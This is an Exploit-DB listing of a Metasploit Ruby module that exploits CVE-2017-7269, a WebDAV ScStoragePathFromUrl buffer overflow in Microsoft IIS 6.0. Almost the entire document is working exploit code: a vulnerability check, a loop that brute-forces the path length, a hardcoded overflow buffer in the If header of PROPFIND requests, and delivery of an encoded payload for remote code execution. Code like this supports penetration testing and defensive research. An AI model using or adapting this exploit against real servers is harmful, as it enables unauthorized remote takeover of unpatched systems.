Microsoft IIS WebDav - ScStoragePathFromUrl Overflow (Metasploit)

EDB-ID: 41992
Author: Metasploit
Published: 2017-05-11
CVE: CVE-2017-7269
Type: Remote
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework
Vulnerable App: N/A

 # This module requires Metasploit: http://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.

Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end

def min_path_len
datastore['MINPATHLENGTH']
end

def max_path_len
datastore['MAXPATHLENGTH']
end

def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end

def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)

xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme

http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")

min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")

begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
buf1 << ">"

vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned status #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end

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